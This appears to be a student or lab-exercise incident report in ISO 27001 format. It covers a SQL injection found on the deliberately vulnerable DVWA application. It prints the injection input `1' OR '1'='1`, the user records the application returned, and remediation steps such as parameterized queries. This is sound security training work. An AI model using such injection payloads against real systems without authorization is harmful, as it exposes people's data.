ISO 27001 Incident Management Report - SQL Injection Vulnerability

Incident Title: SQL Injection on DVWA
Date of Incident: September 11, 2024
Reported By: Guillermo Costa
Affected System: Damn Vulnerable Web Application (DVWA)

Introduction

This report covers a security incident discovered in the Damn Vulnerable Web Application (DVWA), where an SQL Injection allowed unauthorized access to user data. This highlights the need for proper input validation to prevent such vulnerabilities in web applications.

Incident Description:
An SQL Injection vulnerability was tested on the DVWA application, allowing unauthorized access to sensitive user information.

Steps to Reproduce:

1. Entered the input: `1' OR '1'='1` in the User ID field.
2. The application returned multiple user records, bypassing authentication.

Observed Output:

```
ID: 1' OR '1'='1
First name: admin
Surname: admin

ID: 1' OR '1'='1
First name: Gordon
Surname: Brown

ID: 1' OR '1'='1
First name: Hack
Surname: Me

ID: 1' OR '1'='1
First name: Pablo
Surname: Picasso

ID: 1' OR '1'='1
First name: Bob
Surname: Smith
```

Immediate Actions Taken:

- Identified the vulnerability and restricted access to the input field.
- Updated code to use secure queries with prepared statements.

Recommendations:

- Use parameterized queries to prevent SQL Injection.
- Regularly review code for security vulnerabilities.

Conclusion:
This exercise highlighted the importance of secure coding practices to protect applications from common security flaws like SQL Injection.